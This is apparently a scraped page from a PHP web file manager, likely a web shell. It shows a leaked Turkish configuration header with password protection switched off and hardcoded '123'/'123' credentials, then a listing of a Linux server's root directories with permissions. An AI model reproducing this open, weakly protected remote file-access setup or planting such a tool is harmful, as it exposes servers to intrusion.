# Konfigurasyon $sayfaSifreleme ='0'; # 1 acik , 0 kapali $kullaniciAdi = '123'; $sifre = '123'; # yetki kontrol fonksiyonu function yetkiKontrol($kullaniciAdi,$sifre) { if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") { header('WWW-Authenticate: Basic realm="x"'); die(header('HTTP/1.0 401 Unauthorized')); } } # Sayfa Sifreleme aciksa if($sayfaSifreleme =='1') { # Veri ve sifre kontrolu yetkiKontrol($kullaniciAdi,$sifre); } ?>
Name | Size | Modified | Perms | Actions | |
---|---|---|---|---|---|
bin | --- | April 05 2025 00:37:33. | 0555 | ||
dev | --- | April 05 2025 00:37:05. | 0755 | ||
etc | --- | March 27 2025 00:37:31. | 0755 | ||
home | --- | August 29 2024 15:06:58. | 0755 | ||
lib | --- | January 24 2025 13:04:00. | 0555 | ||
lib64 | --- | March 17 2025 19:21:23. | 0555 | ||
opt | --- | February 10 2025 15:42:24. | 0755 | ||
proc | --- | September 13 2024 06:49:37. | 0555 | ||
run | --- | April 05 2025 00:37:02. | 0755 | ||
sbin | --- | April 05 2025 00:38:01. | 0555 | ||
tmp | --- | April 05 2025 03:52:28. | 0700 | ||
usr | --- | February 01 2023 08:51:33. | 0755 | ||
var | --- | February 16 2024 23:55:05. | 0755 |